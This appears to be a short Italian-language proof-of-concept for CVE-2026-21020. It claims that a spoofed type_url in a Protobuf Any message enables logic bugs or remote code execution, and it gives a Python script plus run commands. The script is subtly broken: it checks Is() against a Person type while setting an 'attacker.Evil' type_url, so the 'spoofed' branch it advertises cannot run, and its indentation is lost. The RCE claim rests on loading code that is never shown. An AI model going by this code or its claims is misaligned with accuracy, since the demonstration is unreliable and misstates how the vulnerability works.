
PoC per CVE-2026-21020, che dimostra la deserializzazione polimorfa del tipo Any di Protobuf in cui il `type_url` controllato dall'attaccante può portare a bug logici, RCE o escalation dei privilegi.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
Un servizio utilizza il tipo Any di Protocol Buffers per incapsulare i messaggi e li decomprime dinamicamente usando il campo type_url senza validare il tipo atteso. Un attaccante può inviare un messaggio con un type_url manipolato che punta a una classe di messaggio pericolosa (o non voluta), causando bug logici o esecuzione di codice.
type_url controllato dall'attaccante senza una whitelist.Esegui la simulazione:
pip install protobuf
python proto_vuln.py
Mostra che il tipo Any può essere falsificato; se il codice carica dinamicamente la classe da type_url, potrebbe portare a RCE.